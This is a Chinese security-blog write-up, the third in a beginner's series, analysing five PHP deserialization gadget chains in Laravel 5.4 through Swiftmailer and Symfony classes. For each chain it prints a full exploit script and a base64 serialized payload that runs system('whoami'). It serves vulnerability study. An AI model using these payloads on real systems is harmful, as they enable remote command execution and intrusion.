『代码审计』从零开始的Laravel框架学习之旅(3)

admin 2024年7月31日15:18:46评论29 views字数 10216阅读34分3秒阅读模式

点击蓝字

关注我们

日期:2024年07月24日
作者:Obsidian
介绍:Laravel框架相关漏洞的新手学习记录。

0x01 前情回顾

书接上回和上上回。

『代码审计』从零开始的Laravel框架学习之旅(3)

在前文(1)中,以PendingBroadcast__destruct魔术方法作为反序列化的起点,利用存在dispatch方法的类进行了反序列化利用链的构造。

在前文(2)中,以PendingBroadcast__destruct魔术方法作为反序列化的起点,利用存在__call魔术方法的类进行了反序列化利用链的构造。

至此,由PendingBroadcast作为起点的反序列化链就告一段落了,本文将继续寻找其他的反序列化起点,来构造反序列化利用链。

环境的搭建与调试,请参考前篇《从零开始的Laravel框架学习之旅(1)》

0x02 漏洞分析及复现

POP7

首先寻找含有__destruct()魔术方法的类,通过工具搜索,共找到23个文件。

『代码审计』从零开始的Laravel框架学习之旅(3)

通过顺序尝试,发现一个眼熟的文件,TemporaryFileByteStream,在yii2框架中同样可以被利用。

以下是精简后的代码:

<?phpclass Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{    public function __destruct(){        if (file_exists($this->getPath())) {        }    }}class Swift_ByteStream_FileByteStream{    private $path;    public function getPath(){        return $this->path;    }}?>

__destruct()魔术方法触发了file_exists()方法。跟进getPath()方法后发现,返回$this->path参数,这里$this->path参数可控,并且file_exists所需的参数是字符串,可以触发__toString魔术方法。

经过筛查后发现,部分类可利用,例如/laravel/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php,可通过调用render()函数,触发__call魔术方法。可利用的类很多,这里不一一列举。这里的利用方式与之前yii2框架一致。

『代码审计』从零开始的Laravel框架学习之旅(3)

后续的__call魔术方法的利用,可参考前文,这里选用POP3中的利用方式。

POP链如下:

TemporaryFileByteStream::__destruct()->file_exists($this->path)->__toString()->phpDocumentorReflectionDocBlockTagsDeprecated->render()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP

<?phpnamespace Faker{class DefaultGenerator{    protected $default ;    function __construct(){        $this->default = 'whoami';    }}class ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    function __construct(){        $this->generator = new DefaultGenerator();        $this->validator = 'system';        $this->maxRetries = 1;    }}}namespace phpDocumentorReflectionDocBlockTags{use FakerValidGenerator;class Deprecated {    protected $description;    public function __construct() {        $this->description = new ValidGenerator();    }}}namespace {    use phpDocumentorReflectionDocBlockTagsDeprecated;    class Swift_ByteStream_FileByteStream {        private $_path;        public function __construct() {            $this->_path = new Deprecated();        }    }    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {    }    echo base64_encode(serialize(new Swift_ByteStream_TemporaryFileByteStream()));}#Tzo0MDoiU3dpZnRfQnl0ZVN0cmVhbV9UZW1wb3JhcnlGaWxlQnl0ZVN0cmVhbSI6MTp7czozODoiAFN3aWZ0X0J5dGVTdHJlYW1fRmlsZUJ5dGVTdHJlYW0AX3BhdGgiO086NDk6InBocERvY3VtZW50b3JcUmVmbGVjdGlvblxEb2NCbG9ja1xUYWdzXERlcHJlY2F0ZWQiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjIwOiJGYWtlclxWYWxpZEdlbmVyYXRvciI6Mzp7czoxMjoiACoAZ2VuZXJhdG9yIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjY6Indob2FtaSI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fX0=
『代码审计』从零开始的Laravel框架学习之旅(3)

POP8

下一个反序列化起点在/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php文件中,同样在yii2框架中也可利用,以下是精简后的代码。

<?phpclass Swift_KeyCache_DiskKeyCache{    private $_path;    private $_keys = array();    public function __destruct(){        foreach ($this->_keys as $nsKey => $null) {            $this->clearAll($nsKey);        }    }    public function clearAll($nsKey){        if (array_key_exists($nsKey, $this->_keys)) {            foreach ($this->_keys[$nsKey] as $itemKey => $null) {                $this->clearKey($nsKey, $itemKey);            }        }    }    public function clearKey($nsKey, $itemKey){        if ($this->hasKey($nsKey, $itemKey)) {        }    }    public function hasKey($nsKey, $itemKey){        return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);    }

__destruct()魔术方法触发 clearAll() 方法,$this->keys参数可控。进一步调用了 clearKey() 方法,然后下一步是haskey方法,之后这里又通过字符串拼接的方式,来拼接参数。这里$this->_path参数可控,触发__toString魔术方法。

后续利用,可以与POP7一样,POP链如下:

DiskKeyCache::__destruct()->clearAll()->clearKey()->hasKey()->__toString()->phpDocumentorReflectionDocBlockTagsDeprecated->render()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP

<?phpnamespace Faker{class DefaultGenerator{    protected $default ;    function __construct(){        $this->default = 'whoami';    }}class ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    function __construct(){        $this->generator = new DefaultGenerator();        $this->validator = 'system';        $this->maxRetries = 1;    }}}namespace phpDocumentorReflectionDocBlockTags{use FakerValidGenerator;class Deprecated {    protected $description;    public function __construct() {        $this->description = new ValidGenerator();    }}}namespace {    use phpDocumentorReflectionDocBlockTagsDeprecated;    class Swift_KeyCache_DiskKeyCache {        private $_path;        private $_keys;        public function __construct() {            $this->_keys = array("1");            $this->_path = new Deprecated();        }    }    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));}#TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjM0OiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAF9wYXRoIjtPOjQ5OiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xEZXByZWNhdGVkIjoxOntzOjE0OiIAKgBkZXNjcmlwdGlvbiI7TzoyMDoiRmFrZXJcVmFsaWRHZW5lcmF0b3IiOjM6e3M6MTI6IgAqAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czo2OiJ3aG9hbWkiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6Njoic3lzdGVtIjtzOjEzOiIAKgBtYXhSZXRyaWVzIjtpOjE7fX1zOjM0OiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAF9rZXlzIjthOjE6e2k6MDtzOjE6IjEiO319
『代码审计』从零开始的Laravel框架学习之旅(3)

POP9

下一个反序列化起点在/laravel/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Transport/AbstractSmtpTransport.php文件中,同样在yii2框架中也可利用,以下是精简后的代码。

<?phpabstract class Swift_Transport_AbstractSmtpTransport implements Swift_Transport{    protected $_started = false;    protected $_eventDispatcher;    public function __destruct(){        $this->stop();    }    public function stop(){        if ($this->_started) {            if ($evt = $this->_eventDispatcher->createTransportChangeEvent($this)) {            }        }    }}

__destruct()魔术方法触发 stop() 方法,之后尝试调用createTransportChangeEvent()方法。这里$this->_started参数和$this->_eventDispatcher参数可控,可通过指定类,去触发__call()魔术方法。之后可续接前文中POP3的利用链,进行命令执行。

POP链如下:

AbstractSmtpTransport::__destruct()->stop()->$this->eventDispatcher->createTransportChangeEvent()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP:

<?phpnamespace Faker{class DefaultGenerator{    protected $default ;    function __construct(){        $this->default = 'whoami';    }}class ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    function __construct(){        $this->generator = new DefaultGenerator();        $this->validator = 'system';        $this->maxRetries = 1;    }}}namespace {    use FakerValidGenerator;    abstract class Swift_Transport_AbstractSmtpTransport {    }    class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport {        protected $_started;        protected $_eventDispatcher;        public function __construct() {            $this->_started = True;            $this->_eventDispatcher = new ValidGenerator();        }    }    echo (base64_encode(serialize(new Swift_Transport_SendmailTransport())));}#TzozMzoiU3dpZnRfVHJhbnNwb3J0X1NlbmRtYWlsVHJhbnNwb3J0IjoyOntzOjExOiIAKgBfc3RhcnRlZCI7YjoxO3M6MTk6IgAqAF9ldmVudERpc3BhdGNoZXIiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aToxO319
『代码审计』从零开始的Laravel框架学习之旅(3)

POP10

下一个反序列化起点在/laravel/vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php,简化代码如下:

<?phpclass CollectionConfigurator{    public function __construct(){        $this->collection = new RouteCollection();    }    public function __destruct(){        $this->collection->addPrefix(rtrim($this->route->getPath(), '/'));    }}

__destruct()魔术方法触发 addPrefix() 方法,之后尝试调用getPath()方法。这里$this->route参数可控,可通过指定类,去触发__call()魔术方法。之后可续接前文中POP3的利用链,进行命令执行。

POP链如下:

CollectionConfigurator::__destruct()->$this->collection->addPrefix()->$this->route->getPath()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP:

<?phpnamespace Faker;class DefaultGenerator{    protected $default ;    function __construct(){        $this->default = 'whoami';    }}class ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    function __construct(){        $this->generator = new DefaultGenerator();        $this->validator = 'system';        $this->maxRetries = 1;    }}namespace SymfonyComponentRouting;class RouteCollection{}namespace SymfonyComponentRoutingLoaderConfigurator;use FakerValidGenerator;use SymfonyComponentRoutingRouteCollection;class CollectionConfigurator{    public function __construct() {        $this->collection = new RouteCollection();        $this->route = new ValidGenerator();    }}echo base64_encode(serialize(new CollectionConfigurator()));#Tzo2ODoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXENvbGxlY3Rpb25Db25maWd1cmF0b3IiOjI6e3M6MTA6ImNvbGxlY3Rpb24iO086NDE6IlN5bWZvbnlcQ29tcG9uZW50XFJvdXRpbmdcUm91dGVDb2xsZWN0aW9uIjowOnt9czo1OiJyb3V0ZSI7TzoyMDoiRmFrZXJcVmFsaWRHZW5lcmF0b3IiOjM6e3M6MTI6IgAqAGdlbmVyYXRvciI7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7czo2OiJ3aG9hbWkiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6Njoic3lzdGVtIjtzOjEzOiIAKgBtYXhSZXRyaWVzIjtpOjE7fX0=
『代码审计』从零开始的Laravel框架学习之旅(3)

POP11

下一个反序列化起点在/laravel/vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php,简化代码如下:

<?phpclass ImportConfigurator{    private $parent;    public function __destruct(){        $this->parent->addCollection($this->route);    }}

__destruct()魔术方法触发 $this->parent->addCollection() 方法。这里$this->parent参数可控,可通过指定类,去触发__call()魔术方法。之后可续接前文中POP3的利用链,进行命令执行。

POP链如下:

ImportConfigurator::__destruct()->$this->parent->addCollection()->FakerValidGenerator::__call()->call_user_func_array()->FakerDefaultGenerator::__call()->FakerValidGenerator::__call()->call_user_func()->system('whoami')

EXP:

<?phpnamespace Faker;class DefaultGenerator{    protected $default ;    function __construct(){        $this->default = 'whoami';    }}class ValidGenerator{    protected $generator;    protected $validator;    protected $maxRetries;    function __construct(){        $this->generator = new DefaultGenerator();        $this->validator = 'system';        $this->maxRetries = 1;    }}namespace SymfonyComponentRoutingLoaderConfigurator;use FakerValidGenerator;class ImportConfigurator{    protected $parent;    public function __construct() {        $this->parent = new ValidGenerator();    }}echo base64_encode(serialize(new ImportConfigurator()));#Tzo2NDoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvciI6MTp7czo5OiIAKgBwYXJlbnQiO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aToxO319

0x03 总结

至此,Laravel框架5.4版本的全部反序列化利用链已经分析完了。下一步可以尝试继续分析其他版本的利用方式。

『代码审计』从零开始的Laravel框架学习之旅(3)

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』从零开始的Laravel框架学习之旅(3)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月31日15:18:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』从零开始的Laravel框架学习之旅(3)https://cn-sec.com/archives/2995324.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息